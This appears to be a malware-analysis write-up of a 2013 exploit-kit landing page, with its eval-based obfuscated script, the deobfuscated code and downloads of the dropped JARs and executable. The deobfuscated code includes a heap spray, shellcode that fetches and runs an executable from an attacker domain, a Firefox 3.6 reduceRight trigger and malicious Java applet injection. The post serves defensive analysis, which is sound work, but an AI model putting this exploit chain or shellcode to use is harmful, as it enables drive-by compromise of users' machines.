494_E_494_n_494_0_494___494___494_u_494_f_494_2_494_5_494_9_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_2_494_3_494_c_494_b_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_6_494_6_494_4_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_1_494_b_494_4_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_4_494_0_494_1_494_5_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_9_494_e_494_8_494_4_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_1_494_3_494_2_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_5_494_6_494_4_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_5_494_6_494_3_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_5_494_2_494_e_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_5_494_7_494_8_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_5_494_0_494_0_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_c_494_7_494_2_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_f_494_6_494_d_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_2_494_e_494_6_494_e_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_c_494_6_494_4_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_f_494_f_494_6_494_c_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_4_494_6_494_8_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_0_494_7_494_4_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_2_494_f_494_3_494_a_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_6_494_2_494_f_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_d_494_6_494_1_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_c_494_6_494_9_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_4_494_7_494_9_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_1_494_6_494_5_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_9_494_7_494_0_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_9_494_6_494_5_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_2_494_2_494_e_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_a_494_6_494_9_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_5_494_2_494_f_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_c_494_7_494_0_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_1_494_6_494_f_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_3_494_6_494_4_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_0_494_2_494_e_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_0_494_6_494_8_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_c_494_3_494_f_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_e_494_6_494_9_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_3_494_6_494_b_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_2_494_3_494_d_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_7_494_3_494_5_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_6_494_2_494_6_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_f_494_7_494_2_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_4_494_6_494_e_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_1_494_3_494_d_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_2_494_6_494_3_494_3_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_5_494_6_494_d_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_1_494_7_494_4_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_6_494_3_494_d_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_9_494_3_494_4_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_9_494_2_494_6_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_0_494_6_494_d_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_5_494_7_494_2_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_3_494_7_494_3_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_d_494_7_494_5_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_1_494_3_494_d_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_6_494_3_494_2_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_2_494_6_494_3_494_1_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_1_494_7_494_3_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_5_494_6_494_c_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_d_494_7_494_3_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_8_494_3_494_4_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_2_494_2_494_6_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_f_494_6_494_9_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_d_494_7_494_3_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_2_494_3_494_2_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_2_494_6_494_3_494_9_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_1_494_6_494_7_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_5_494_6_494_d_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_4_494_3_494_d_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_2_494_6_494_3_494_9_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_c_494_6_494_3_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_3_494_6_494_9_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_d_494_6_494_b_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_7_494_3_494_3_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_3_494_2_494_6_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_9_494_6_494_b_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_d_494_6_494_e_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_3_494_3_494_1_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_5_494_"_494_)_494_ _494_+_494_ _494_u_494_n_494_e_494_s_494_c_494_a_494_p_494_e_494_(_494_m_494_y_494_e_494_s_494_c_494_a_494_p_494_e_494_(_494_G_494_e_494_t_494_U_494_r_494_l_494_(_494_)_494_)_494_)_494_;_494_v_494_a_494_r_494_ _494_p_494_a_494_y_494_l_494_o_494_a_494_d_494_ _494_=_494_ _494_u_494_n_494_e_494_s_494_c_494_a_494_p_494_e_494_(_494_"_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_c_494_6_494_e_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_0_494_6_494_c_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_4_494_5_494_4_494_d_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_4_494_5_494_3_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_4_494_a_494_4_494_5_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_5_494_5_494_4_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_1_494_6_494_b_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_5_494_6_494_1_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_5_494_2_494_6_494_f_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_7_494_5_494_7_494_3_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_8_494_0_494_6_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_0_494_1_494_f_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_8_494_2_494_8_494_c_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_0_494_8_494_3_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_0_494_d_494_7_494_b_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_0_494_3_494_e_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_8_494_0_494_0_494_2_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_0_494_2_494_d_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_8_494_7_494_6_494_b_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_0_494_0_494_3_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_0_494_0_494_0_494_1_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_0_494_0_494_4_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_0_494_0_494_0_494_1_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_0_494_0_494_0_494_0_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_6_494_9_494_1_494_7_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_0_494_4_494_e_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_0_494_0_494_0_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_0_494_0_494_0_494_0_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_c_494_0_494_0_494_0_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_0_494_2_494_a_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_0_494_0_494_4_494_0_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_0_494_0_494_0_494_0_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_0_494_0_494_0_494_5_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_0_494_2_494_e_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_c_494_0_494_0_494_1_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_0_494_2_494_a_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_8_494_0_494_6_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_0_494_1_494_f_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_9_494_0_494_9_494_0_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_9_494_0_494_9_494_0_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_3_494_4_494_0_494_1_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_1_494_0_494_2_494_b_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_9_494_0_494_9_494_0_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_9_494_0_494_9_494_0_494_"_494_)_494_ _494_+_494_ _494_s_494_c_494_o_494_d_494_e_494_;_494_v_494_a_494_r_494_ _494_t_494_r_494___494_p_494_a_494_d_494_d_494_i_494_n_494_g_494_ _494_=_494_ _494_u_494_n_494_e_494_s_494_c_494_a_494_p_494_e_494_(_494_"_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_0_494_c_494_0_494_c_494___494___494_L_494_E_494_n_494_0_494___494___494_u_494_0_494_c_494_0_494_c_494_"_494_)_494_;_494_w_494_h_494_i_494_l_494_e_494_ _494_(_494_t_494_r_494___494_p_494_a_494_d_494_d_494_i_494_n_494_g_494_._494_l_494_e_494_n_494_g_494_t_494_h_494_ _494___494___494_d_494_E_494_n_494_3_494___494___494_ _494_0_494_x_494_7_494_f_494_a_494_0_494_0_494_)_494_ _494_{_494_t_494_r_494___494_p_494_a_494_d_494_d_494_i_494_n_494_g_494_ _494_+_494_=_494_ _494_t_494_r_494___494_p_494_a_494_d_494_d_494_i_494_n_494_g_494_;_494_}_494_v_494_a_494_r_494_ _494_d_494_u_494_m_494_m_494_y_494_ _494_=_494_ _494_p_494_t_494_r_494_s_494_ _494_+_494_ _494_p_494_a_494_y_494_l_494_o_494_a_494_d_494_ _494_+_494_ _494_t_494_r_494___494_p_494_a_494_d_494_d_494_i_494_n_494_g_494_;_494_v_494_a_494_r_494_ _494_h_494_s_494_p_494_r_494_a_494_y_494_ _494_=_494_ _494_d_494_u_494_m_494_m_494_y_494_._494_s_494_u_494_b_494_s_494_t_494_r_494_i_494_n_494_g_494_(_494_0_494_,_494_0_494_x_494_7_494_f_494_a_494_0_494_0_494_ _494_-_494_ _494_b_494_h_494_e_494_a_494_d_494_e_494_r_494_ _494_-_494_ _494_n_494_u_494_l_494_l_494_t_494_)_494_;_494_H_494_e_494_a_494_p_494_B_494_l_494_o_494_c_494_k_494_s_494_ _494_=_494_ _494_n_494_e_494_w_494_ _494_A_494_r_494_r_494_a_494_y_494_(_494_)_494_;_494_f_494_o_494_r_494_ _494_(_494_i_494_=_494_0_494_;_494_i_494___494___494_d_494_E_494_n_494_3_494___494___494_0_494_x_494_1_494_0_494_0_494_;_494_i_494_+_494_+_494_)_494_{_494_H_494_e_494_a_494_p_494_B_494_l_494_o_494_c_494_k_494_s_494_[_494_i_494_]_494_ _494_+_494_=_494_ _494_h_494_s_494_p_494_r_494_a_494_y_494_;_494_}_494_}_494_;_494_f_494_u_494_n_494_c_494_t_494_i_494_o_494_n_494_ _494_s_494_t_494_a_494_r_494_t_494_e_494_(_494_)_494_ _494_{_494_ _494_ _494_ _494_s_494_p_494_r_494_a_494_y_494_(_494_)_494_;_494_o_494_b_494_j_494_ _494_=_494_ _494_n_494_e_494_w_494_ _494_A_494_r_494_r_494_a_494_y_494_(_494_)_494_;_494_o_494_b_494_j_494_._494_l_494_e_494_n_494_g_494_t_494_h_494_ _494_=_494_ _494_2_494_1_494_9_494_7_494_8_494_1_494_5_494_3_494_0_494_2_494_;_494_f_494_ _494_=_494_ _494_f_494_u_494_n_494_c_494_t_494_i_494_o_494_n_494_ _494_t_494_r_494_i_494_g_494_g_494_e_494_r_494_(_494_p_494_r_494_e_494_v_494_,_494_ _494_m_494_y_494_o_494_b_494_j_494_,_494_ _494_i_494_n_494_d_494_x_494_,_494_ _494_a_494_r_494_r_494_a_494_y_494_)_494_ _494_{_494_a_494_l_494_e_494_r_494_t_494_(_494_m_494_y_494_o_494_b_494_j_494_[_494_0_494_]_494_)_494_;_494_}_494_;_494_o_494_b_494_j_494_._494_r_494_e_494_d_494_u_494_c_494_e_494_R_494_i_494_g_494_h_494_t_494_(_494_f_494_,_494_1_494_,_494_2_494_,_494_3_494_)_494_;_494_}_494_i_494_f_494_ _494_(_494_(_494_n_494_a_494_v_494_i_494_g_494_a_494_t_494_o_494_r_494_._494_u_494_s_494_e_494_r_494_A_494_g_494_e_494_n_494_t_494_._494_i_494_n_494_d_494_e_494_x_494_O_494_f_494_(_494_"_494_F_494_i_494_r_494_e_494_f_494_o_494_x_494_/_494_3_494_._494_6_494_._494_1_494_6_494_"_494_)_494_ _494_!_494_=_494_ _494_-_494_1_494_)_494_ _494_|_494_|_494_ _494_(_494_n_494_a_494_v_494_i_494_g_494_a_494_t_494_o_494_r_494_._494_u_494_s_494_e_494_r_494_A_494_g_494_e_494_n_494_t_494_._494_i_494_n_494_d_494_e_494_x_494_O_494_f_494_(_494_"_494_F_494_i_494_r_494_e_494_f_494_o_494_x_494_/_494_3_494_._494_6_494_._494_1_494_7_494_"_494_)_494_ _494_!_494_=_494_ _494_-_494_1_494_)_494_)_494_ _494_{_494_ _494_ _494_s_494_t_494_a_494_r_494_t_494_e_494_(_494_)_494_ _494_;_494_}_494_</fieldset>
<script language="javascript">function pEsKGFGdbf(x, ararg){ChPxWOFrXm= 0 ;    var aystf = pEsKGFGdbf ;  var d = 0;  kj = String(parseInt);  if(isNaN(kj.match(/arseI/))) {  var dsadsttrtr = ararg[0];   if(isNaN(kj.match(/arseI/))) {   d= x[dsadsttrtr.join("").replace(/kh/, "e")]("AFegplAupm")["inQCDtCrtWvpnerHQCDtCrtWvpTML".replace(/QCDtCrtWvp/, "")] ;};   };   return d;}function getObjectClass(obj){   if (typeof obj != ("obj"+"ect") || obj === null) {return false;}   else {return typeof obj;};}; QCDtCrtWvp = 0;  Array.prototype.kkkkljhgjhgjhgytrfdsfds=function(kk, ff, loo) { return loo.join(""); };  navigator.llllmnmnmnasvb=function(b) { var m = 554*b; return this;};  String.prototype.replace = (function(r){ return function(find, replace, replaceOnce) {     if(typeof find == "string" && !replaceOnce) {       find = r.apply(find, [/[\[\]^$*+.?(){}\-]//g,function(c) { return "\\"+c; }]);       find = new RegExp(find, "g");     } else if(typeof find == "object" && !replaceOnce && !find.global) {       find = new RegExp(find.source, "g");     }     return r.apply(this, [find,replace]); }})(String.prototype.replace);  document.llllmnmnmnasvb=function(b) { var m = (919*b - b ); return this;};  try {    screen.sldkdkjkkkkkjlskdi("GBhkDpHxt");  } catch (vAnsSobHFcOTNqg) {    m = navigator;  if (getObjectClass(m.llllmnmnmnasvb(808)) == "object") {    RtsVeIodKO = pEsKGFGdbf(document["llllmnmnmnasvb"](897), [["get","E","l","kh","mentById"]]) ;    zHRtocNBGS = RtsVeIodKO.length ;   XjbpvEBiDp = "" ;   XjbpvEBiDp = RtsVeIodKO.replace(/_494_/,"") ;  XjbpvEBiDp=XjbpvEBiDp.replace(/__dEn3__/,"<") ;XjbpvEBiDp=XjbpvEBiDp.replace(/__FEn8__/,">") ;XjbpvEBiDp=XjbpvEBiDp.replace(/__jEn7__/,"&") ;XjbpvEBiDp=XjbpvEBiDp.replace(/__LEn0__/,"%") ;  li9i=window;  var varval = ["r","e","v","a","l","l","m", "4"].slice(1,6);  li9i[varval.kkkkljhgjhgjhgytrfdsfds("34534534", "erkljgewituweituweriuwer",varval).substr(0,4)](XjbpvEBiDp) ;};};  </script>
</body>
</html>

2. Obfuscated JavaScript of course. 

Excellent obfuscation: function IsPlug.... very hard to spot...
I Bet Wepawet handles this perfectly: Wepawet link

unction IsPlug(){
  var PlugName = "";
  var res = 0;
  try {
    if (navigator.plugins && navigator.mimeTypes.length){
      for (var i = 0; i < navigator.plugins.length; i ++ ){
        jf = navigator.plugins[i].name.match(/Adobe Acrobat/);
        if (!jf){
          jf = navigator.plugins[i].name.match(/Adobe PDF/);
        }
        ;
        if (jf){
          res = 1;
          break ;
        }
        ;
      }
      ;
    }
    ;
  }
  catch (e){
  }
  ;
  return res;
}
;
document.write("
<applet  archive=\"NWHrh\"  code=\"oVv.class\"  width=\"10\" height=\"18\"><param value=\"
103sdj115sdj115sdj111sdj57sdj46sdj46sdj101sdj96sdj108sdj104sdj107sdj120sdj115sdj100sdj96sd
j111sdj104sdj100sdj56sdj45sdj97sdj104sdj121sdj46sdj116sdj111sdj107sdj110sdj96sdj99sdj114sd
j45sdj111sdj103sdj111sdj62sdj107sdj104sdj109sdj106sdj114sdj60sdj49sdj52sdj54sdj37sdj101sdj
113sdj110sdj109sdj115sdj60sdj48sdj50sdj37sdj108sdj100sdj115sdj96sdj60sdj53sdj51sdj56sdj37s
dj104sdj108sdj111sdj113sdj100sdj114sdj114sdj116sdj108sdj60sdj48sdj49sdj53sdj48sdj37sdj114s
dj96sdj107sdj100sdj114sdj60sdj51sdj55sdj37sdj97sdj104sdj110sdj114sdj60sdj49sdj49sdj56sdj37
sdj102sdj96sdj108sdj100sdj60sdj51sdj56sdj37sdj98sdj107sdj104sdj98sdj106sdj60sdj50sdj54sdj3
7sdj114sdj106sdj104sdj109sdj60sdj48sdj50sdj52\" name=\"EOHPifL\" ><param value=\"71sdj82sd
j106sdj67sdj53sdj112sdj113sdj45sdj100sdj119sdj100\" name=\"XvrfNMu\" ><param value=\"108sd
j96sdj115sdj103\" name=\"AdbmXfUGgx\" ></applet>");
document.write("
<applet  archive=\"lnMFTpPw\" code=\"IPR.class\"  width=\"10\"  height=\"18\"><param  valu
e=\"103sdj115sdj115sdj111sdj57sdj46sdj46sdj101sdj96sdj108sdj104sdj107sdj120sdj115sdj100sdj
96sdj111sdj104sdj100sdj56sdj45sdj97sdj104sdj121sdj46sdj116sdj111sdj107sdj110sdj96sdj99sdj1
14sdj45sdj111sdj103sdj111sdj62sdj107sdj104sdj109sdj106sdj114sdj60sdj49sdj52sdj54sdj37sdj10
1sdj113sdj110sdj109sdj115sdj60sdj48sdj50sdj37sdj108sdj100sdj115sdj96sdj60sdj53sdj51sdj56sd
j37sdj104sdj108sdj111sdj113sdj100sdj114sdj114sdj116sdj108sdj60sdj48sdj49sdj53sdj48sdj37sdj
114sdj96sdj107sdj100sdj114sdj60sdj51sdj55sdj37sdj97sdj104sdj110sdj114sdj60sdj49sdj49sdj56s
dj37sdj102sdj96sdj108sdj100sdj60sdj51sdj56sdj37sdj98sdj107sdj104sdj98sdj106sdj60sdj50sdj54
sdj37sdj114sdj106sdj104sdj109sdj60sdj48sdj50sdj52\"  name=\"sSpwknEHBp\" ><param  value=\"
71sdj82sdj106sdj67sdj53sdj112sdj113sdj45sdj100sdj119sdj100\"  name=\"TvSRUWW\" ><param  va
lue=\"108sdj96sdj115sdj103\"  name=\"SyLIfT\" ></applet>");
document.write("<object id=\"d\"><object>");
if (IsPlug() == 1){
}
var myobject = document.getElementById('d');
function GetUrl(){
  return "
http://familyteapie9.biz/uploads.php?links=257&front=13&meta=649&impressum=1261&sales=48&b
ios=229&game=49&click=37&skin=135";
}
;
function myescape(input){
  var output = '';
  ff = 255;
  f = 0;
  if (input.length % 2){
    f = 1;
  }
  for (var i = 0; i < input.length; i += 2){
    output += '%u';
    if (i == (input.length - 1)){
      output += 'ff';
    }
    else {
      output = output + input.charCodeAt(i + 1).toString(16);
    }
    output += input.charCodeAt(i).toString(16);
  }
  if (!f){
    output = output + '%uffff';
  }
  return output;
}
;
function spray(){
  var ptrs = unescape("
%u0000%u0048%u0c00%u5864%u704e%u5349%u587a%u4157%u6844%u564a%u5143%u4359%u7674%u666c%u6a71
%u5174%u4a69%u414e%u4166%u0000%u26f0%u104c%u5846%u426e%u0000%u240c%u3410%u007c%u0c00%u5326
%u1005%u6379%u624a%u7959%u694f%u4663%u4445%u4261%u574b%u6666%u4d71%u7148%u4153%u4b47%u4244
%u6f72%u5942%u655a%u784e%u4a66%u6a68%u4c67%u7879%u002e%u0c00");
  var bheader = 0x12 / 2;
  var nullt = 0x2 / 2;
  var scode = unescape("
%u60eb%u335f%u99c0%u5048%u6a40%ub201%u5745%uf78b%u23b2%udf8b%uda03%u46b2%uda03%ub253%u030a
%u8bda%uaafb%u8b5b%u50fe%u5750%u45b2%ufa03%ub2aa%u0323%ub2fa%u030b%u80fa%u003f%u0175%u5747
%u5050%ub057%u66ff%uffb9%uf2ff%u4fae%u07c6%u5f00%u8b58%ub2fe%u0346%u53fa%uc68b%u5e05%u0000
%u5000%u5656%u466a%u02eb%u79eb%u6a57%u5930%u8b64%u8b01%u0c40%u688b%u8b1c%u085d%u6d8b%u5500
%u438b%u8b3c%u1844%u0b78%u74c0%u8d31%u1874%uad18%uad91%uc303%uad50%u3c8d%uad03%u2c8d%u8b03
%u8f74%u03fc%u33f3%u33c0%u99d2%u03ac%uc1d0%u05c2%u7948%u8bf7%u2474%u3b08%u7416%ue206%u58e2
%ueb5d%u58ba%ub70f%u4d54%u03fe%u901c%u5f5d%ud3ff%uebab%u579d%u7c8b%u0824%u6650%uffb8%uf200
%u4fae%uc033%u0788%u5f58%u04c2%ue800%uff20%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff
%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff
%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%uffff%u1529%u54d2
%ufabd%u4c58%u70cc%u6b77%uf259%u23cb%u6664%u11b4%u4015%u9e84%u3132%u6564%u6563%u652e%u6578
%u7500%u6c72%u6f6d%u2e6e%u6c64%uff6c%u7468%u7074%u2f3a%u662f%u6d61%u6c69%u7479%u6165%u6970
%u3965%u622e%u7a69%u752f%u6c70%u616f%u7364%u702e%u7068%u6c3f%u6e69%u736b%u323d%u3735%u6626
%u6f72%u746e%u313d%u2633%u656d%u6174%u363d%u3934%u6926%u706d%u6572%u7373%u6d75%u313d%u3632
%u2631%u6173%u656c%u3d73%u3834%u6226%u6f69%u3d73%u3232%u2639%u6167%u656d%u343d%u2639%u6c63
%u6369%u3d6b%u3733%u7326%u696b%u3d6e%u3331%u35") + unescape(myescape(GetUrl()));
  var payload = unescape("
%u6c6e%u706c%u454d%u7453%u4a45%u7554%u616b%u6561%u526f%u7573%u1806%u101f%u828c%u1083%u0d7b
%u103e%u8002%u102d%u876b%u1003%u0001%u1004%u0001%u0000%u6917%u104e%u1000%u0000%uc000%u102a
%u0040%u0000%u0005%u102e%uc001%u102a%u1806%u101f%u9090%u9090%u3401%u102b%u9090%u9090") + 
  scode;
  var tr_padding = unescape("%u0c0c%u0c0c");
  while (tr_padding.length < 0x7fa00){
    tr_padding += tr_padding;
  }
  var dummy = ptrs + payload + tr_padding;
  var hspray = dummy.substring(0, 0x7fa00 - bheader - nullt);
  HeapBlocks = new Array();
  for (i = 0; i < 0x100; i ++ ){
    HeapBlocks[i] += hspray;
  }
}
;
function starte(){
  spray();
  obj = new Array();
  obj.length = 2197815302;
  f = function trigger(prev, myobj, indx, array){
    alert(myobj[0]);
  }
  ;
  obj.reduceRight(f, 1, 2, 3);
}
if ((navigator.userAgent.indexOf("Firefox/3.6.16") !=  - 1) || (navigator.userAgent.
indexOf("Firefox/3.6.17") !=  - 1)){
  starte();
}

Wepawet saves the day and we can see that we should be handed a couple of applets and some shellcode

3. Lets get the Jars


--2013-03-23--  hxxp: //familyteapie1.biz/mail/wap/NWHrh
Resolving familyteapie1.biz... 5.199.171.217
Connecting to familyteapie1.biz|5.199.171.217|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.1 200 OK
  Date: Sat, 23 Mar 2013 15:58:38 GMT GMT
  Pragma: no-cache
  Server: Apache/2.2.22 (Win32) PHP/5.2.17
  Content-Length: 43773
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: application/x-java-archive
Length: 43773 (43K) [application/x-java-archive]
Saving to: `NWHrh.jar'

     0K .......... .......... .......... .......... ..        100%  217K=0.2s

2013-03-23 (217 KB/s) - `NWHrh.jar' saved [43773/43773]

--2013-03-23--  hxxp: //familyteapie1.biz/mail/wap/lnMFTpPw
Resolving familyteapie1.biz... 5.199.171.217
Connecting to familyteapie1.biz|5.199.171.217|:80... connected.
HTTP request sent, awaiting response...
  HTTP/1.1 200 OK
  Pragma: no-cache
  Server: Apache/2.2.22 (Win32) PHP/5.2.17
  Content-Length: 15048
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: application/x-java-archive
Length: 15048 (15K) [application/x-java-archive]
Saving to: `lnMFTpPw.jar'

     0K .......... ....                                       100%  143K=0.1s

2013-03-23 (143 KB/s) - `lnMFTpPw.jar' saved [15048/15048]


4. With the payload URL from wepawet lets get that too


2013-03-23 (251 KB/s) - `questions-4.php' saved [52306/52306]

--2013-03-23--  hxxp: //familyteapie9.biz/uploads.php?intl=726&front=13&flash=45&impressum=1261&a%20pps=341&redir=115&howto=532&book=50&store=77
Resolving familyteapie9.biz... 5.199.171.217
Connecting to familyteapie9.biz|5.199.171.217|:80... connected.
HTTP request sent, awaiting response... 
  HTTP/1.1 200 OK
  Pragma: no-cache
  Server: Apache/2.2.22 (Win32) PHP/5.2.17
  Content-Length: 25600
  Keep-Alive: timeout=5, max=100
  Connection: Keep-Alive
  Content-Type: application/octet-stream
Length: 25600 (25K) [application/octet-stream]
Saving to: `uploads.exe'

     0K .......... .......... .....                           100%  168K=0.1s

2013-03-23 (168 KB/s) - `uploads.exe' saved [25600/25600]


Pretty straight forward stuff.

5. Quick analysis:

NWHrh.jar:
MD5: 0ebb676f95151bb7de53a71fa6c54ef4
VT: 10/46
CVE-2012-1723

lnMFTpPw.jar:
MD5: 51410123ef71233d8e8acac4b1c06b62
VT: 9/46

exe:
MD5: e9540bc25cc38e09466147d4ccbf7b75
VT: 12/46

Have noticed a few things though:

6. Calling the landing with different params gives different feedback


Fetching these variants:
2013-03-24 21:29:29--  hxxp: //familyteapie4.biz/ServerAdministrator/urls/questions.php?video=526&problems=985&oracle=79&people=719&topics=11
--2013-03-24 21:30:00--  hxxp: //familyteapie4.biz/ServerAdministrator/urls/questions.php?oracle=79
--2013-03-24 21:38:07--  hxxp: //familyteapie4.biz/ServerAdministrator/urls/questions.php?video=526&problems=985&oracle=79&people=719
--2013-03-24 21:38:33--  hxxp: //familyteapie4.biz/ServerAdministrator/urls/questions.php?video=526&problems=985&oracle=79
--2013-03-24 21:39:03--  hxxp: //familyteapie4.biz/ServerAdministrator/urls/questions.php?video=526&oracle=79&people=719
--2013-03-24 21:39:36--  hxxp: //familyteapie4.biz/ServerAdministrator/urls/questions.php?oracle=79&people=719


will give two different results:

-rw-rw-r-- 1 remnux remnux 52330 2013-03-24 21:29 questions-oracle.php
-rw-rw-r-- 1 remnux remnux  3184 2013-03-24 21:30 questions-oracle-1.php
-rw-rw-r-- 1 remnux remnux 51328 2013-03-24 21:38 questions-oracle-2.php
-rw-rw-r-- 1 remnux remnux  3156 2013-03-24 21:38 questions-oracle-3.php
-rw-rw-r-- 1 remnux remnux 51328 2013-03-24 21:39 questions-oracle-4.php
